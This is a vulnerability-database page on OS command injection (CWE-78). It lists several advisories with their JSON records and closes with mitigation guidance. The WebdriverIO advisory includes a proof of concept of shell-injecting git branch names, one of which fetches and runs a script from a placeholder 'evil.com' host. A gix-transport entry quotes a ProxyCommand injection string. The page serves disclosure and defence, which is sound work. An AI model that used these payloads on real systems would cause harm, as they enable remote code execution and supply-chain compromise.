CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8326 vulnerabilities reference this CWE, most recent first.
GHSA-59XX-9G47-6HC5
Vulnerability from github – Published: 2024-12-06 18:30 – Updated: 2025-09-23 15:31A command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers to execute arbitrary commands.
We have already fixed the vulnerability in the following versions: QTS 5.1.9.2954 build 20241120 and later QTS 5.2.2.2950 build 20241114 and later QuTS hero h5.1.9.2954 build 20241120 and later QuTS hero h5.2.2.2952 build 20241116 and later
{
"affected": [],
"aliases": [
"CVE-2024-50393"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-06T17:15:09Z",
"severity": "HIGH"
},
"details": "A command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers to execute arbitrary commands.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.1.9.2954 build 20241120 and later\nQTS 5.2.2.2950 build 20241114 and later\nQuTS hero h5.1.9.2954 build 20241120 and later\nQuTS hero h5.2.2.2952 build 20241116 and later",
"id": "GHSA-59xx-9g47-6hc5",
"modified": "2025-09-23T15:31:06Z",
"published": "2024-12-06T18:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50393"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-49"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5C2F-7VP3-PM3X
Vulnerability from github – Published: 2026-07-10 21:32 – Updated: 2026-07-10 21:32HestiaCP before 1.9.5 contains an authenticated OS command injection vulnerability that allows low-privilege authenticated users to execute arbitrary commands as root by injecting a single-quote character into unvalidated DNS record types. Attackers can exploit insufficient input validation in is_dns_record_format_valid() combined with unsafe eval-based parsing in update_domain_zone() to prematurely close a variable assignment string and achieve full root code execution on the underlying host in a single DNS record creation step.
{
"affected": [],
"aliases": [
"CVE-2025-30007"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T19:17:18Z",
"severity": "HIGH"
},
"details": "HestiaCP before 1.9.5 contains an authenticated OS command injection vulnerability that allows low-privilege authenticated users to execute arbitrary commands as root by injecting a single-quote character into unvalidated DNS record types. Attackers can exploit insufficient input validation in is_dns_record_format_valid() combined with unsafe eval-based parsing in update_domain_zone() to prematurely close a variable assignment string and achieve full root code execution on the underlying host in a single DNS record creation step.",
"id": "GHSA-5c2f-7vp3-pm3x",
"modified": "2026-07-10T21:32:29Z",
"published": "2026-07-10T21:32:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30007"
},
{
"type": "WEB",
"url": "https://github.com/hestiacp/hestiacp/pull/5197"
},
{
"type": "WEB",
"url": "https://github.com/hestiacp/hestiacp/commit/a74babb739aa92e52b12d6ef52b6b9428ffbbb67"
},
{
"type": "WEB",
"url": "https://github.com/hestiacp/hestiacp/releases/tag/1.9.5"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/hestiacp-authenticated-os-command-injection-via-dns-record-management"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5C46-X3QW-Q7J7
Vulnerability from github – Published: 2026-05-11 17:53 – Updated: 2026-05-19 16:08Summary
A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
Vulnerable Code
File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204
Root Cause
User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.
Git allows to create these branches.
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"
Attack Vector
- Attacker creates a malicious git repository with a branch name containing command injection payload
- Attacker configures WebdriverIO to use this repository via
testOrchestrationOptions.runSmartSelection.source. ifsourceis not provided it takes current directory assource. - When
getGitMetadataForAISelection()executes, it extracts the malicious branch name - Branch name is interpolated into shell commands without sanitization
- Shell interprets special characters and executes attacker's commands
PoC
Step 1: Create Malicious Repository Branch
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
Step 2: Configure WebdriverIO
// wdio.conf.js
export const config = {
services: [
['browserstack', {
user: process.env.BROWSERSTACK_USERNAME,
key: process.env.BROWSERSTACK_ACCESS_KEY,
testOrchestrationOptions: {
runSmartSelection: {
enabled: true,
source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
}
}
}]
],
// ... rest of config
}
Step 3: Run Tests
npm run wdio
Step 4: Verify RCE
# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt
Impact
- Remote Code Execution on CI/CD servers or developer machines
- Information Disclosure (environment variables, secrets, credentials)
- Data Exfiltration (source code, SSH keys, configuration files)
- System Compromise (backdoor installation, lateral movement)
- Supply Chain Attack (modify build artifacts)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.23.2"
},
"package": {
"ecosystem": "npm",
"name": "@wdio/browserstack-service"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25244"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T17:53:46Z",
"nvd_published_at": "2026-05-18T21:16:39Z",
"severity": "CRITICAL"
},
"details": "### Summary\nA command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n### Vulnerable Code\n**File**: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204\n\n### Root Cause\nUser-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.\nGit allows to create these branches.\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;rm\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;curl\\${IFS}evil.com/evil.sh\\${IFS}\u003e/tmp/evil.sh;bash\\${IFS}/tmp/evil.sh;echo\\${IFS}PWNED\"\n```\n\n\n### Attack Vector\n1. Attacker creates a malicious git repository with a branch name containing command injection payload\n2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`.\n3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name\n4. Branch name is interpolated into shell commands without sanitization\n5. Shell interprets special characters and executes attacker\u0027s commands\n\n### PoC\n### Step 1: Create Malicious Repository Branch\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\n```\n\n### Step 2: Configure WebdriverIO\n\n```javascript\n// wdio.conf.js\nexport const config = {\n services: [\n [\u0027browserstack\u0027, {\n user: process.env.BROWSERSTACK_USERNAME,\n key: process.env.BROWSERSTACK_ACCESS_KEY,\n testOrchestrationOptions: {\n runSmartSelection: {\n enabled: true,\n source: [\u0027/tmp/malicious-repo\u0027] // \u26a0\ufe0f Points to malicious repo, without \"source\" field, it runs in the current directory.\n }\n }\n }]\n ],\n // ... rest of config\n}\n```\n### Step 3: Run Tests\n\n```bash\nnpm run wdio\n```\n### Step 4: Verify RCE\n\n```bash\n# Check if file was created (proof of RCE)\nls -la /tmp/pwned.txt\n```\n\n### Impact\n\n- **Remote Code Execution** on CI/CD servers or developer machines\n- **Information Disclosure** (environment variables, secrets, credentials)\n- **Data Exfiltration** (source code, SSH keys, configuration files)\n- **System Compromise** (backdoor installation, lateral movement)\n- **Supply Chain Attack** (modify build artifacts)",
"id": "GHSA-5c46-x3qw-q7j7",
"modified": "2026-05-19T16:08:59Z",
"published": "2026-05-11T17:53:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25244"
},
{
"type": "PACKAGE",
"url": "https://github.com/webdriverio/webdriverio"
},
{
"type": "WEB",
"url": "https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204"
},
{
"type": "WEB",
"url": "https://github.com/webdriverio/webdriverio/releases/tag/v9.24.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "WebdriverIO BrowserStack Service has a Command Injection issue"
}
GHSA-5C55-MFGP-RG4J
Vulnerability from github – Published: 2025-10-07 21:31 – Updated: 2025-10-07 21:31Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.3.0.15, LTS2025 release version 8.3.1.0, LTS2024 release versions 7.13.1.0 through 7.13.1.30, LTS 2023 release versions 7.10.1.0 through 7.10.1.60, contain an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability to execute arbitrary commands with root privileges.
{
"affected": [],
"aliases": [
"CVE-2025-43908"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-07T19:15:37Z",
"severity": "MODERATE"
},
"details": "Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.3.0.15, LTS2025 release version 8.3.1.0, LTS2024 release versions 7.13.1.0 through 7.13.1.30, LTS 2023 release versions 7.10.1.0 through 7.10.1.60, contain an Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability to execute arbitrary commands with root privileges.",
"id": "GHSA-5c55-mfgp-rg4j",
"modified": "2025-10-07T21:31:06Z",
"published": "2025-10-07T21:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43908"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000376224/dsa-2025-333-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5C56-7Q2Q-QV2J
Vulnerability from github – Published: 2022-05-17 02:02 – Updated: 2022-05-17 02:02Cisco TelePresence Manager 1.2.x through 1.6.x allows remote attackers to perform unspecified actions and consequently execute arbitrary code via a crafted request to the Java RMI interface, related to a "command injection vulnerability," aka Bug ID CSCtf97085.
{
"affected": [],
"aliases": [
"CVE-2011-0381"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-02-25T12:00:00Z",
"severity": "HIGH"
},
"details": "Cisco TelePresence Manager 1.2.x through 1.6.x allows remote attackers to perform unspecified actions and consequently execute arbitrary code via a crafted request to the Java RMI interface, related to a \"command injection vulnerability,\" aka Bug ID CSCtf97085.",
"id": "GHSA-5c56-7q2q-qv2j",
"modified": "2022-05-17T02:02:43Z",
"published": "2022-05-17T02:02:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-0381"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/65619"
},
{
"type": "WEB",
"url": "http://www.cisco.com/en/US/products/products_security_advisory09186a0080b6e14f.shtml"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/46526"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1025111"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5C5J-JMHX-Q2GR
Vulnerability from github – Published: 2025-07-28 03:31 – Updated: 2025-07-28 15:37Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rrjw-j4m2-mf34. This link is maintained to preserve external references.
Original Description
The gix-transport crate before 0.36.1 for Rust allows command execution via the "gix clone 'ssh://-oProxyCommand=open$IFS" substring. NOTE: this was discovered before CVE-2024-32884, a similar vulnerability (involving a username field) that is more difficult to exploit.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "gix-transport"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.36.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-28T15:37:12Z",
"nvd_published_at": "2025-07-28T01:15:24Z",
"severity": "MODERATE"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-rrjw-j4m2-mf34. This link is maintained to preserve external references.\n\n### Original Description\nThe gix-transport crate before 0.36.1 for Rust allows command execution via the \"gix clone \u0027ssh://-oProxyCommand=open$IFS\" substring. NOTE: this was discovered before CVE-2024-32884, a similar vulnerability (involving a username field) that is more difficult to exploit.",
"id": "GHSA-5c5j-jmhx-q2gr",
"modified": "2025-07-28T15:37:12Z",
"published": "2025-07-28T03:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53158"
},
{
"type": "WEB",
"url": "https://github.com/GitoxideLabs/gitoxide/pull/1032"
},
{
"type": "WEB",
"url": "https://crates.io/crates/gix-transport"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rrjw-j4m2-mf34"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2023-0064.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: gix-transport code execution vulnerability",
"withdrawn": "2025-07-28T15:37:12Z"
}
GHSA-5CJ2-3JR2-5H77
Vulnerability from github – Published: 2026-06-18 20:12 – Updated: 2026-06-18 20:12Summary
Shell positional parameters could weaken strict inline-eval checks. In affected versions, a command request that combines allowlisted tools with shell positional arguments could place inline-eval content in a shell carrier not covered by the strict check.
This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.
Impact
When the affected feature is enabled and reachable, this could run shell-provided content outside the intended allowlist rule. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.
Patched Versions
The first stable patched version is 2026.4.2.
Mitigations
avoid allowlisting shell carrier patterns and require approval for shell wrappers until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53855"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-284",
"CWE-78",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T20:12:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nShell positional parameters could weaken strict inline-eval checks. In affected versions, a command request that combines allowlisted tools with shell positional arguments could place inline-eval content in a shell carrier not covered by the strict check.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could run shell-provided content outside the intended allowlist rule. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.4.2`.\n\n### Mitigations\n\navoid allowlisting shell carrier patterns and require approval for shell wrappers until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
"id": "GHSA-5cj2-3jr2-5h77",
"modified": "2026-06-18T20:12:12Z",
"published": "2026-06-18T20:12:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5cj2-3jr2-5h77"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53855"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-shell-positional-parameters-bypass-in-inline-eval-checks"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Shell positional parameters could weaken strict inline-eval checks"
}
GHSA-5CJG-3Q3J-RQWC
Vulnerability from github – Published: 2025-08-06 03:30 – Updated: 2025-08-06 03:30Kenwood DMX958XR JKWifiService Command Injection Remote Code Execution Vulnerability. This vulnerability allows physically present attackers to execute arbitrary code on affected installations of Kenwood DMX958XR devices. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the JKWifiService. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26307.
{
"affected": [],
"aliases": [
"CVE-2025-8651"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-06T02:15:53Z",
"severity": "MODERATE"
},
"details": "Kenwood DMX958XR JKWifiService Command Injection Remote Code Execution Vulnerability. This vulnerability allows physically present attackers to execute arbitrary code on affected installations of Kenwood DMX958XR devices. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the JKWifiService. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-26307.",
"id": "GHSA-5cjg-3q3j-rqwc",
"modified": "2025-08-06T03:30:27Z",
"published": "2025-08-06T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8651"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-799"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5CJV-QRR3-P336
Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2024-04-04 02:00A vulnerability in a CLI command related to the virtualization manager (VMAN) in Cisco IOS XR Software for Cisco ASR 9000 Series Aggregation Services Routers could allow an authenticated, local attacker to execute arbitrary commands on the underlying Linux operating system with root privileges. The vulnerability is due to insufficient validation of arguments passed to a specific VMAN CLI command on an affected device. An attacker who has valid administrator access to an affected device could exploit this vulnerability by including malicious input as the argument of an affected command. A successful exploit could allow the attacker to run arbitrary commands on the underlying operating system with root privileges, which may lead to complete system compromise.
{
"affected": [],
"aliases": [
"CVE-2019-12709"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-25T21:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in a CLI command related to the virtualization manager (VMAN) in Cisco IOS XR Software for Cisco ASR 9000 Series Aggregation Services Routers could allow an authenticated, local attacker to execute arbitrary commands on the underlying Linux operating system with root privileges. The vulnerability is due to insufficient validation of arguments passed to a specific VMAN CLI command on an affected device. An attacker who has valid administrator access to an affected device could exploit this vulnerability by including malicious input as the argument of an affected command. A successful exploit could allow the attacker to run arbitrary commands on the underlying operating system with root privileges, which may lead to complete system compromise.",
"id": "GHSA-5cjv-qrr3-p336",
"modified": "2024-04-04T02:00:06Z",
"published": "2022-05-24T16:56:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12709"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190925-xr-asr9k-privesc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5CVX-2QX8-XFQP
Vulnerability from github – Published: 2022-05-24 17:15 – Updated: 2022-05-24 17:15Certain NETGEAR devices are affected by command injection by an authenticated user. This affects D3600 before 1.0.0.76, D6000 before 1.0.0.76, and XR500 before 2.3.2.32.
{
"affected": [],
"aliases": [
"CVE-2019-20705"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-04-16T19:15:00Z",
"severity": "MODERATE"
},
"details": "Certain NETGEAR devices are affected by command injection by an authenticated user. This affects D3600 before 1.0.0.76, D6000 before 1.0.0.76, and XR500 before 2.3.2.32.",
"id": "GHSA-5cvx-2qx8-xfqp",
"modified": "2022-05-24T17:15:26Z",
"published": "2022-05-24T17:15:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20705"
},
{
"type": "WEB",
"url": "https://kb.netgear.com/000061224/Security-Advisory-for-Post-Authentication-Command-Injection-on-Some-Routers-and-Gateways-PSV-2018-0391"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
